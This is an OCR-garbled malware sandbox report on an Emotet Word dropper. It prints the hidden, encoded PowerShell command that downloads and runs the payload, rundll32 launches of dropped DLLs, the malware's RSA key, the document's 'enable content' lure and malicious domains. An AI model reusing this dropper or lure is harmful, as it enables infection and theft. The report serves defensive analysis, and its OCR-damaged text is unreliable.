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Analysis Report FP4554867134UQ.doc

Overview

General Information Detection Classification

Sample FP4554867134UQ.doc
Name: MALICIOUS

Analysis ID: 343741

Antivirus detection for URL or domain

Multi AV Scanner detection for doma...

MD5: . .
d63f3d22f23e80f... Multi AV Scanner detection for subm...
SHA1L:
3fc9783709279af.. Office document tries to convince Vvi...
SHAZ256: 91838d966hb87d7..

System process connects to networ...
Most interesting Screenshot:

Yara detected Emotet

Creates processes via WMI

Document contains an embedded VB...

m Document contains an embedded VB...
100

Score: Encrypted powershell cmdline option...
Range: 0-100 Hides that the sample has been dow...
Whitelisted: false

) Obfuscated command line found
Confidence: 100%

w
«Q
>
2
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=
®
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Startup

= System is w7x64

. WINWORD.EXE (PID: 1476 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2488 cmdline: cmd cmd /c m"s”g %username% /v Wo”rd exp”erien”ced an er”ror tryi*ng to op”en th”e fi*le. & p~owe”rs heMI" -w hi*dd"en -*e”nc IABZAEU
AVAAQACgAIgA4AHOAdWAIACSAIgBIACIAKQAGACIAIAAGAFSAdABSAFAARQBAACGAIgB7ADIAfQB7ADQAFQB7ADMAQB7ADUAfQB7ADEAfQB7ADAAFQAIACOAZGANAEBAC
gB5ACCALAANAEUAYWBOACCALAANAFMAeQBTAHQAZQANACWAIWBVACAAZAANACWAIWBIACAAaQANACWAIWBIAFIAIWAPACAAIAAPACAAOWBZAGUAVAAGACAAK
AANAEQAQWANACSAIWB1AFIAJWAPACAAIAAOACAAIABbAHQAeQBWAGUAXQAOACIAeWAWAHOAewA4AHOAeWAOAHOAeWASAHOAeWAYAHOAeWAXAHOAewAZAHOAe
WA2AHOAewALAHOAeWA3AHOAIGAGACOARGAJACCAUWB5AHMAIWASACCARQBSACCALAANAFMAIWASACCAdgANACWAIWAUAE4ARQBUACCALAANAG8AaQBUAFQAD
QBhACCALAANAGKAYWBFAFAAIJWASACCATYBBAGCAZQBYACCALAANAHQARQBNACCALAANACAAIWAPACAAKQAJADSAJABUAHQAZQAYAGEAJAAXADOAJABLADYAM
gBWACAAKWAGAFSAYWBOAGEAcgBdACgAMWAZACKAIAATACAAIJABTADCAMABNADSAJABIADQAXWBKADOAKAANAFUAMAANACSAIWA2AEKAIWAPADSAIAAOACAAZ
WBIAHQALQB2AGEAUgBpAEEAQgYBSAEUAIAAOACIAOABAAHCAIGArACIASAAIACKAIAAIAHY AQQBSAHUAZQBVAGAAbBAAGACKAOgABACIAQWBYAEUAQQBIAFQAZ
QBYAGQASQBSAGAAZQBJAFQAYABVAHIAeQAIACJAJABIAEBATQBFACAAKWAGACIAKAAOACCAZWASAGKAIWAIACCARQANACKAKWANADGAIWATACYAIWBGADKAJ
WArACcAdwAnACKAKWAOACCAXWANACSAIWBSAGCAIWArACCANWBpAFKACWAXAHCAIWArACCAdQANACKAKWAOACCAbgA1IACCAKWANAGCANWBPACCAKQAPACAAIAATAEMACgB
FAFAATABhAEMARQAO0AFSAQWBIAGEAUgBAADEAMAAZACSAWWBDAEGAY QBSAFOANQALACSAWWBDAEGAY QBSAFOAMQAWADUAKQASAFSAQWBIAGEAUgBAADKAMgA
pPACKAOWAKAEUAOAA2AFAAPQAOACCAVWAYACCAKWANADIAVQANACKAOWAJACAAKAAGACAASQBOAGUADQAGACIAIgBWACIAKWAIAGEAUGBIAEEAQYBMACIAKWA
iIAGUAOgBEAEMAVQBSACIAKQAgACAAKQAUAFYAQQBSAHUARQABADOAIgBZAGUAYWB1AFIAYABJAFQAWQBQAFIAbWBgAFQATWBJAGAAbWBSACIAIAA9ACAAKAA
NAFQAJWArACgAIWBSACCAKWANAHMAMQAYACCAKQAPADSAJABFADUAOABDADOAKAAOACCATQANACSAIWALADAAIWAPACSAIWBWACCAKQATACQASQB2AGYAdAB
5AHAAdWAGADOAIAA0ACYAIWBIADQAIWATACCANQANACKAKWANAFEAIWAPADSAIJABaADAANWBIADOAKAAOACCAVAAXACCAKWANADEAIWAPACSAIWBDACCAKQA
7ACQASWBWAHOAZAA3AGMAZQAIACQASABPAEOARQAIACJAKAAOACCAMQAWADKAIWArACCARQANACKAKWANADgAIJWArACGAIWBGACCAKWANADKAdWANACKAKWA
0ACCAXWBSADEAMAASAFKACWANACSAIWAXACCAKWANAHCAIWAPACSAIWBLIAGAAIWAIACCANQAXACCAKWANADAAOQANACKALGAIAHIARQBWAGAADABhAEMARQA
iIACgAKABbAGMASABhAHIAXQAOADKAKWBbAGMASABhAHIAXQAOADgAKWBbAGMASABhAHIAXQALADCAKQASAFSAUWBUAFIASQBUAECAXQBBAGMASABhAHIAXQA
5ADIAKQApPACSAJABIAHY AZgBOAHKACAB3ACSAIWAUAGQAIWAJACSAIAANAGWADAANADSAJABTADEANWBCADOAKAANAEBAIWArACgAIWALADIAIWArACCARAANACKAKQATA
CQATWBJAHKAZQB4AHMAMAAIACCAaAANACAAKWAJACCAJABOACCAIAATACAAIWBWACCAOWAKAFCAYWB5AGIAZWAXADCAPQAOACCAEAANACSAIWAGAFSAIWATA
CgAIWAgGACCAKWANAHMAaAANACKAKWAOACCAIAANACSAIWBIADOALWAVACCAKQArACgAIWBKkAHIAaQBWAHMAJWBIACCAKWANAGUAdAANACSAIWAUAGMAJIWATrACCcAbwBtACC
AKWANACBAdWANACKAKWAOACCACAAIAGEAIWArACCAZABIAGKAbgAVAGCAIJWATACCAVABPAESALWANACSAIWARACCAKQArACgAIWB4ACCAKWANACAAWWANACS
AIWAGAHMAaAAgAGIAOgANACSAIWAVAC8AagANACKAKWAOACCAYgBzAGOAZQANACSAIWBKACCAKWANAGKAIWAPACSAKAANAGEAIJWArACCAdgBIAGAAIWAPACSAKAANAHQA
QBYACCAKWANAGUACWAUAGMAbWBtACBAdWANACSAIWBWACCAKWANACOAYWBVAG4AJABIAGAAdAAVAFY AJWArACCALWAhAHGAIWArACCAIABbACCAKQAIACCAIABZACCAKWA
0ACcAaAANACSAIWAGAGIAIWAPACSAIWBZACCAKWAOACCAOgAVACCAKWANACBAIWAPACSAKAANAHCADWANACSAIWB3ACCAKQArACgAIWAUAHIAIWAIACCAMWAIAHQAJIWAPA
CsAKAANAGUAYWANACsAJWBOACCAKQArACCALgBIACCAKWAOACCcAaQB6ACCAKWANACBAIWAPACSAKAANAHCAIWAIACCACAALAGEAZAANACKAKWAOACCAbQBPAGAAIWAIrACC
ALWANACSAIWBWAFQALWAhACCAKQArACgAIWBAACCAKWANACAAWWANACKAKWAOACCAIABZAGYAIWATACCAIAANACKAKWAOACCAYJABACBALWB5AGEAJWATACC
AZWBpACCAKQArACgAIWBUACCAKWANAGMAJIWArACCALYBJAGBABQAVAGKADQBhAGCAZQBZzACCAKWANACBAJABIACBAIQANACSAIWBAACAAWWAGACCAKQAIACY
AJwBzAGgAIABIACCAKWANADOALWANACKAKWAOACCALWBUAGBAdgANACSAIWBVADIAIJWATACCALGANACKAKWAOACCAZABIACCAKWANAHUACWANACSAIWBZAGEADAB2ACCAK
WANAGUAbWBIAHIAY QBzAGKAIJWAPACSAKAANAGWALGBJAGBAIWArACCABQANACKAKWANACAAY gANACSAIWBYACCAKWAOACCALWBOAHIAY QANACSAIWBJAHQABWANACKAKWA
NAHIALQANACSAJWBWACCAKWAOACCAYQANACSAIWBYAHQAIWAPACSAIWBZACOAIWArACCAZWBOACCAKWAOACCAMgANACSAIWA4AGMALWASACBAIQANACKAKWA
0ACcAeAAgAFsAIAANACSAIWBzACCAKQArACgAIWBOACAAIWArACCAYgABACBAIWAPACSAKAANACBAdABYAGUAawBrACcAKWANAGKAbgANACKAKWAOACCAZWBMAGUACWBOA
CcAKWANAGKAdgANACsAIJWBhAGWAIWAPACSAKAANACAAYWBVAGOALWANACSAIWBKACCAKWANAGUAbBQANACSAIWBVACBAIWArACCAQWAVACEAeAAgAFSAIABZA
CcAKQArACgAJwWBoACAAYgABACCAKWANACBAIWAPACSAIWAVACCAKWAOACCAbgBhAHIAIJWArACCABQANACKAKWAOACCAY QANACSAIWBKAGEAJWArACcALgBtAHkAawBmACc
AKQArACgAIWBUACCAKWANACAAYWBVACCAKQAIACgAIWBIACBAYQBWAHAALWANACSAIWBEAHEASWANACSAJWBHADEALWANACKAKQAUACIACYBIAGAACABSAGA
AQQBDAGUAIgA0ACJAKAANAHYGAIAANACSAIWBDACCAKQAIACJAIWAGACCAKWANAHMABAANACKAKWANACAAYgANACKALAAOAFSAYQBYAHIAY QBSAFOAKAANAGA
AagAnACWAIWBOAHIAIWAPACWAIWB5AGOAIWASACCACWBJACCALAAKAEBAYWB5AGUAeABZADAALAANAHCAZAANACKAWWAZAFOAKQAUACIAUWBWAGAADABPAHQ
AlgA0ACQAWQA3ADAAQQAJGACSAIAAKAFQAJABIADIAYQBOADEAIAATACAAIJABLADEAOABWACKAOWAKAFYAMWAWAFKAPQAOACCAQQA3ACCAKWANADKAVIANACK
AOWBMAGB8ACYBIAGEAYWBOACAAKAAKAEWAY QB3ADEAOABXADUAIABPAGAAIAAKAFCAYWB5AGIAZWAXADCAKQB7AHQACYB5AHSAKAAUACGAIWBOAGUAJWALACC
AKWANAEBAIJWAIACCAYgBGAGUAYWANACSAIWBOACCAKQAJAFMAWQBzAFQARQBNAC4AbgBIAHQALYBXAGUAY gBJAEWAaQBIAE4AVAAPAC4AIgBKAESBAdWBgAE4
ATABgAEBAYQBEAEYAaQBgAGWARQAIACJAJABMAGEAdWAXADgACQALIACWAIAAKAESACABEAGQANWBJAGUAKQA7ACQARAALADCARWASACYAIWBLADAAIWArACC
AOQBYACCAKQA7AEKAZgAgACYAKAAUACIAIWBHAGUAIWAIACCAdAAIAEKAJAANACSAIWBIAGOAIWAPACAAIABLAHAAegBKADCAYWBIACKALJAIAGWAZQBYAE4AAZWBIAFQAS
AAIACAALQBNAGUAIAAOADgAOAAZADEAKQAGAHSALgAOACCACGBIAGAAZABSACCAKWANAGWAIWAIACCAMWAYACCAKQAGACQASWBWAHOAZAASAGMAZQASACGAK
AANAEEAbgANACSAIWB5AFMAJIWAPACSAKAANAHQAIWArACCACgBpACCAKQArACCAbgBNACCAKQAUACIAAABPAGAACWBIAFQAUYGBIAGAAZWAIACJAKQATACQAR
WAOADAAUWASACYAKAANAFKANWANACSAIWALAACCAKQArACCATWANACKAOWBIAHIAZQBhAGSAOWAKAESAMWA4AEEAPQAOACCARWAZACCAKWANADQAWAANACKAS
QBIAGMAYQBOAGMAaAB7AHOAFQAKAFEANAA3AFEAPQAOACYAIWBaADgAIWArACCANQANACKAKWANAEgAIWAPAA== MD5: 5746BD7E255DD6ABAFA06F7C42C1BA41L)

Copyright null 2021 Page 5 of 58




e [ msg.exe (PID: 1428 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e E3F powershell.exe (PID: 2532 cmdline: powershell -w hidden -enc IABZAEUAVAAQACgAIgA4AHOAdWAIACSAIgBIACIAKQAGACGAIAAgAFSAdABSAFAARQBAACgGAIgB7AD
IAfQB7ADQAfQB7ADMAQB7ADUAIQB7ADEAfQB7ADAAFQAIACOAZgANAEBACIB5ACCALAANAEUAYWBOACCALAANAFMAeQBTAHQAZQANACWAIWBVACAAZAANAC
WAIWBtAC4AaQANACWAIWBJIAFIAIWAPACAAIAAPACAAOWBZAGUAVAAGACAAKAANAEQAQWANACSAIWBIAFIAIJWAPACAAIAACACAAIABDAHQAeQBWAGUAXQAOAC
I1AeWwAWAHOAewA4AHOAeWAOAHOAeWASAHOAeWAYAHOAeWAXAHOAewAZAHOAewA2AHOAeWA1AHOAeWA3AHOAIGAGACOARJAJACCAUWBSAHMAIWASACCARQBSAC
CALAANAFMAJWASACCAdgANACWAIWAUAE4ARQBUACCALAANAG8AaQBUAFQAbBQBhACCALAANAGKAYWBFAFAAIJWASACCATGBBAGCAZQBYACCALAANAHQARQBNAC
CALAANAC4AIWAPACAAKQAJADSAIJABUAHQAZQAYAGEAJAAXADOAJABLADY AMgBWACAAKWAGAFSAYWBOAGEACgBAACgAMWAZACKAIAATACAAJABTADCAMABNAD
SAJABIJADQAXWBKADOAKAANAFUAMAANACSAIWA2AEKAIWAPADSAIAAOACAAZWBIAHQALQB2AGEAUgBPAEEAQYBSAEUAIAAOACIAOABaAHCAIGArACIASAAIAC
KAIAAtAHYAQQBSAHUAZQBVAG4AbBAAgACKAOGABACIAQWBYAEUAQQBJAFQAZQBJYAGQASQBSAGAAZQBJAFQAYABVAHIAeQAIACJAJABIAEBATQBFACAAKWAQAC
gAKAAOACCAZWA3AGKAIWArACCARQANACKAKWANADgAIWArACgAJWBgADKAIWArACcAdwANACKAKWAOACCAXWANACSAIWBSAGCAIWArACCANWBpAFKACWAXAH
CcAIWArACcAdQANACKAKWAOACCAbgAIACCAKWANAGCANWBPACCAKQAPACAAIAAIAEMACGBFAFAATABhAEMARQA0AFSAQWBIAGEAUgBAADEAMAAZACSAWWBDAE
gAYQBSAFOANQA1ACSAWWBDAEGAY QBSAFOAMQAWADUAKQASAFSAQWBIAGEAUgBAADKAMgAPACKAOWAKAEUAOAA2AFAAPQAOACCAVWAYACCAKWANADIAVQANAC
KAOWAgACAAKAAGACAASQBOAGUADBQAGACYAIgBWACIAKWAIAGEAUgBIAEEAQYBMACIAKWAIAGUAOGBEAEMAVQBSACIAKQAJACAAKQAUAFYAQQBSAHUARQABAD
0AIgBzZAGUAYWB1AFIAYABJAFQAWQBQAFIAbWBgAFQATWBJAGAAbWBSACIAIAA9ACAAKAANAFQAIWATACGAIWBSACCAKWANAHMAMQAYACCAKQAPADSAJABFAD
UAOABDADOAKAAOACCATQANACSAIWALADAAIWAPACSAIWBWACCAKQA7ACQASQB2AGYAJABSAHAAIWAGADOAIAACACYAIWBIADQAIWAIACCANQANACKAKWANAF
EAJWAPADsAJABaADAANWBJIADOAKAACOACCAVAAXACCAKWANADEAIWAPACSAIWBDACCAKQA7ACQASWBWAHOAZAASAGMAZQAIACQASABPAEOARQAIACJAKAACAC
cAMQAWADKAJWArACcARQANACKAKWANADgAIWArACgAIWBgACCAKWANADKAdwWANACKAKWAOACCAXWBSADEAMAASAFKACWANACSAIWAXACCAKWANAHCAIWAPAC
SAJWB1AGAAIWArACCANQAXACCAKWANADAAOQANACKALGAIAHIARQBWAGAABABhAEMARQAIACJAKABBAGMASABhAHIAXQAOADKAKWBbBAGMASABhAHIAXQAOAD
gAKWBbAGMASABhAHIAXQA1ADCAKQASAFSAUWBUAFIASQBUAECAXQBbAGMASABhAHIAXQASADIAKQAPACSAJABIAHYAZgBOAHKACAB3ACSAIWAUAGQAIWAGAC
SAIAANAGWADBAANADSAJABTADEANWBCADOAKAANAEBAIWATACYAIWALADIAIWArACCARAANACKAKQA7ACQATWBJAHKAZQBAAHMAMAASACCAaAANACAAKWAGAC
CcAdABOACCAIAArACAAIWBWACCAOWAKAFCAYWB5AGIAZWAXADCAPQAOACCAeAANACSAIWAGAFSAIWArACgAIWAGACCAKWANAHMAaAANACKAKWAOACCAIAANAC
SAJWBIADOALWAVACCAKQArACgAJWBkAHIAaQBWAHMAdWBIACCAKWANAGUAdAANACSAIWAUAGMAIWATACCAbwBIACCAKWANACBAdWANACKAKWAOACCACAAIAG

EAJWArACcAZABtAGKAbgAVAGCAIJWArACCAVABPAESALWANACSAIWAhACCAKQArACgAIWBAACCAKWANACAAWWANACSAIWAGAHMAAAAGAGIAOgANACSAIJWAVAC
8AagANACKAKWAOACCAYgBzAGOAZQANACSAIWBKACCAKWANAGKAIJWAPACSAKAANAGEAIWATrACCcAdgBIAGA4AIWAPACSAKAANAHQAdQBYACCAKWANAGUACWAUAG
MAbwBtACBAdWANACSAIWBWACCAKWANACOAYWBVAGAAJABIAGAAdAAVAFY AJWArACCALWAhAHGAIWATACCAIABBACCAKQArACCAIABZACCAKWAOACCAAAANAC
SAJWAJAGIAIWAPACsAIWBZACCAKWAOACCAOgAVACCAKWANACBAIWAPACSAKAANAHCADWANACSAIWB3ACCAKQArACgAIWAUAHIAIJWATACCAMWALAHQAIWAPAC
SAKAANAGUAYWANACsAJWBOACCAKQArACcALgBIACCAKWAOACCcAaQBBACCAKWANACBAIWAPACSAKAANAHCAIWArACCACAALAGEAZAANACKAKWAOACCABQBPAG
4AIWArACCALWANACSAIWBWAFQALWAhACCAKQArACgAIWBAACCAKWANACAAWWANACKAKWAOACCAIABZAGYAIWATACCAIAANACKAKWAOACCAYJABACBALWB5AG
EAIJWArACCcAZWBpACCAKQArACgAIWBUACCAKWANAGMAJIWAIACCALGBJAGBADQAVAGKADBQBhAGCAZQBzACCAKWANACBAJABIACBAIQANACSAIWBAACAAWWAGAC
cAKQArACgAIwBzAGgAIABIACCAKWANADOALWANACKAKWAOACCALWBUAGBAdgANACSAIJWBVADIAIJWATACCALGANACKAKWAOACCAZABIACCAKWANAHUACWANAC
sAJWBzAGEAbAB2ACCAKWANAGUAbWBIAHIAY QBzAGKAJWAPACSAKAANAGWALYBJAGBAIWArACCADQANACKAKWANACAAYgANACSAIWBYACCAKWAOACCALWBOAH
IAYQANACSAIWBJAHQAbWANACKAKWANAHIALQANACSAJWBWACCAKWAOACCAY QANACSAIWBYAHQAIWAPACSAIWBZACOAIWArACCAZWBOACCAKWAOACCAMgANAC
SAJWA4AGMALWASACBAIQANACKAKWAOACCAEAAJAFSAIAANACSAIWBZACCAKQArACgAIWBOACAAIWArACCAYgABACBAIWAPACSAKAANACBAJABYAGUAawBrAC
cAKWANAGKAbgANACKAKWAOACCAZWBMAGUAcWBOACCAKWANAGKAdgANACSAIWBhAGWAIWAPACSAKAANACAAYWBVAGOALWANACSAIJWBKACCAKWANAGUAbBQANAC
SAJWBVACBAIWArACCAQWAVACEAeAAgAFSAIABZACCAKQAIrACgAIWBOACAAYgABACCAKWANACBAIWAPACSAIWAVACCAKWAOACCAbgBhAHIAJWAIACCAbQANAC
kAKWAOACCAYQANACsAIJWBKAGEAJWArACcALgBtAHkAawBmMACCAKQArACgAIwWBUACCAKWANACAAYWBVACCAKQArACgAIWBtACBAY QBWAHAALWANACSAIJWBEAH
EASWANACSAIJWBHADEALWANACKAKQAUACIACGBIAGAACABSAGAAQQBDAGUAIgGA0ACYAKAANAHGAIAANACSAIWBDACCAKQArACGAIWAJACCAKWANAHMAAAANAC
KAKWANACAAYgANACKALAAOAFSAY QBYAHIAY QB5AF0AKAANAG4AagANACWAIWBOAHIAIWAPACWAIWB5AG 0AIWASACCACWBIACCALAAKAEBAYWBSAGUAeABZAD
AALAANAHCAZAANACKAWWAZAFOAKQAUACIAUWBWAGAABABPAHQAIgGAOCACQAWQA3ADAAQQAJACSAIAAKAFQAJABIADIAY QBOADEAIAAACAAJABLADEAOABWAC
KAOWAKAFYAMWAWAFKAPQA0ACCAQQA3ACCAKWANADKAVANACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAEWAY QB3ADEAOABXADUAIABPAGAAIAAKAFCAYWB5AG
IAZWAXADCAKQB7AHQACgB5AHSAKAAUACGAIWBOAGUAAWAIACCAKWANAEBAIWAIACCAYgBJAGUAYWANACSAIWBOACCAKQAJAFMAWQBZAFQARQBNAC4AbgBIAH
QALgBXAGUAYgBJAEWAaQBIAE4AVAAPACAAIgBKAESBAdWBYAE4ATABJAESAY QBEAEYAaQBgAGWARQAIACJAJABMAGEAAWAXADJACQALACWAIAAKAESACABBAG
QANWBJAGUAKQA7ACQARAALADCARWASACGAIWBLADAAIWATACCAOQBYACCAKQA7AEKAZGAGACYJAKAAUACYAIWBHAGUAIWArACCAJAAIAEKAJAANACSAIWBIAG
0AJWAPACAAIABLAHAAegBKADCAYWBIACKALGAIAGWAZQBYAE4AZWBgAFQASAAIACAALQBNAGUAIAAOADGAOAAZADEAKQAGAHSALGAOACCACGBLIAGAAZABSAC
CAKWANAGWAJIWArACCAMWAYACCAKQAJACQASWBWAHOAZAA3BAGMAZQASACYJAKAANAEEADgANACSAIWBSAFMAIWAPACSAKAANAHQAIWArACCACBPACCAKQATAC
cAbgBnACCAKQAUACIAdABPAGAACWBJAFQAUGBIAGAAZWAIACJAKQA7ACQARWAOADAAUWAIACIAKAANAFKANWANACSAIWA4ACCAKQArACCATWANACKAOWBIAH
IAZQBhAGSAOWAKAESAMWA4AEEAPQAOACCARWA3ACCAKWANADQAWAANACKAIQBIAGMAY QBOAGMAaAB7AHOAFQAKAFEANAA3AFEAPQACACYAIWBaADgAIWATAC
CcANQANACKAKWANAEgAJWAPAA== MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2840 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\usen\E8j9w_I\Ys1wun5\145Q.dll AnyString MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2724 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\usen\E8j9w_I\Ys1wun5\145Q.dll AnyString MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2876 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Users\user\E8j9w_I\Ys1wun5\145Q.dIl'#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2944 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Qcpfo\eqvz.qgk',RYcPJUbXC MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 912 cmdline: C:\Windows\SysWOW&64\rundll32.exe 'C:\Windows\SysWOW64\Qcpfo\eqvz.qgk',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2436 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\HovpjjuyIntjnigbgisilgspc.cpw',sVHRJIpl MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2872 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\HovpjjuyIntjnigbgisilgspc.cpw',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3052 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Pgxnxhrbagdgbg\ozuzyrizmlvso.ghb',Zt
LfkSoswLf MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3020 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Pgxnxhrbagdgbg\ozuzyrizmlv
so0.ghb'#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

Threatname: Emotet

"RSA Public Key":
"MHwwDQYJKoZIhvcNAQEBBQADawAwaA JhANQOCBKvh5SXEW7VcI9tots jdBwuAc LxS | nQOe@9fk8VO53 Lk tpW3TRr zAW63y t631KWnyxMrU3igFXypBoI4 1 VNmkje4UPtIIS\nfkzjEIvG1v/ZNn1kOJOPfFTxbFFeUEs3AwIDAQAB"

}
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Yara Overview

Memory Dumps

Source

00000007.00000002.2112943654.00000000001F0000.0000
0040.00000001.sdmp

00000008.00000002.2123406167.00000000003D0000.0000
0040.00000001.sdmp

0000000D.00000002.2179624765.0000000010000000.0000
0040.00000001.sdmp

0000000B.00000002.2156774856.00000000001D0000.0000
0040.00000001.sdmp

0000000D.00000002.2177763484.0000000000240000.0000
0040.00000001.sdmp

Unpacked PEs

Source

8.2.rundll32.exe.190000.0.raw.unpack
7.2.rundll32.exe.240000.1.raw.unpack
10.2.rundlI32.exe.390000.1.raw.unpack
8.2.rundll32.exe.10000000.3.unpack

13.2.rundlI32.exe.10000000.2.unpack

Sigma Overview

System Summary:

Signature Overview

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Click to see the 19 entries

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security

JoeSecurity_Emotet

Emotet

Click to see the 43 entries

@

AV Detection:

Click to jump to signature section

Copyright null 2021

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information
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Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Compliance:

Uses new MSVCR DlIs

Binary contains paths to debug symbols

1]

Networking:

]‘

E-Banking Fraud:

Yara detected Emotet

System Summary:

=

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:

Persistence and Installation Behavior:

L

=

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

=

Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command N
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E
Valid Windows Path Process Disable or Modify os File and Directory Remote Archive Exfiltration  Ingress Tool E
Accounts Management Interception  Injection Tools Credential ~ Discovery Services Collected  Over Other Transfer In
Instrumentation Dumping Data Network N

Medium C
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Initial
Access

Default
Accounts

Domain
Accounts

Local
Accounts

Cloud
Accounts

Replication
Through
Removable
Media

External
Remote
Services

Drive-by
Compromise

Exploit
Public-
Facing
Application

Execution

Scripting

Exploitation for Client
Execution

Command and
Scripting

Interpreter

PowerShell

Launchd

Scheduled Task

Command and
Scripting Interpreter

PowerShell

Behavior Graph

Copyright null 2021

Persistence

Boot or
Logon

Initialization

Scripts

Logon Script
(Windows)

Logon Script

(Mac)

Network

Logon Script

Rc.common

Startup
Iltems

Scheduled

Task/Job

At (Linux)

Privilege
Escalation

Boot or Logon
Initialization
Scripts

Logon Script

(Windows)

Logon Script
(Mac)

Network Logon

Script

Rc.common

Startup ltems

Scheduled
Task/Job

At (Linux)

Defense Evasion

Deobfuscate/Decode
Files or Information

Scripting

Obfuscated Files or

Information

Masquerading

Virtualization/Sandbox
Evasion

Process

Injection

Hidden Files and
Directories

Rundii32 {Y

Credential
Access

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

letc/passwd
and
letc/shadow

Discovery

System Information

Discovery

Query Registry

Security Software
Discovery

Virtualization/Sandbox
Evasion

Process Discovery

Remote System
Discovery

Network Service
Scanning

System Network
Connections
Discovery

Lateral
Movement

Remote
Desktop
Protocol

SMB/Windows
Admin Shares

Distributed
Component
Object Model

SSH

VNC

Windows
Remote
Management

Shared
Webroot

Software
Deployment
Tools

Collection Exfiltration

Data from  Exfiltration
Removable Over
Media Bluetooth

Data from  Automated

Network Exfiltration
Shared

Drive

Input Scheduled

Capture Transfer

Keylogging Data
Transfer
Size Limits

GUI Input  Exfiltration
Capture Over C2
Channel

Web Portal Exfiltration

Capture Over
Alternative
Protocol

Credential  Exfiltration

API Over

Hooking Symmetric
Encrypted
Non-C2
Protocol

Data Exfiltration

Staged Over
Asymmetric
Encrypted
Non-C2
Protocol

P-4

Command
and Control E

Encrypted E
Channel R
C

Non-Standard E

Port T
L«
Non- S

Application S
Layer

Protocol
Application M
Layer D
Protocol C
Multiband Ji
Communication D
S
Commonly R
Used Port A

Application D
Layer Protocol In

Web Protocols R
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Screenshots

Thumbnails
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

@+ EBO0C]

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

g5
2z
oz

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

e
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W9 - 0= FP4554867124UQ [Compatibility Mode] - Microsoft Word

Home Insert Page Layout References Mailings

& cut = oA | Aa : S @4 Find ~

2 Copy Ax o = 4 azebceDe Aasbcede AaBb( AaBbC: AaBb( AaBbcCcl & Repl

53 Copy 330 Replace
Easte # Format Painter B L U -abe x, x TNermal T Ho g eading Title subtitle gg?:ff s Select -
Editing

Clipboard ! Font Paragraph

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Page:1 of1 | Words: 5,359 | & ‘

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
Dropped Files
No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download

Copyright null 2021 Page 11 of 58



Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link

N = O e T I ===
jbsmediaventures.com 5% Virustotal Browse

r3-tech.biz 5% Virustotal Browse
www.r3-tech.biz 1% Virustotal Browse

URLs

Source Detection Scanner Label Link

T NshemSehbdwamT G ARG mawae
hitp://fedir.comsign.co.il/cr/ComSignSecuredCA.crl0 0% URL Reputation safe
hitp://fedir.comsign.co.il/cr/ComSignSecuredCA.crl0 0% URL Reputation safe
hitp://fedir.comsign.co.il/cr/ComSignSecuredCA.crl0 0% URL Reputation safe

o remademineomwsoKGP G AR mawee
hitp:/fiwww.a-cert.atOE 0% URL Reputation safe

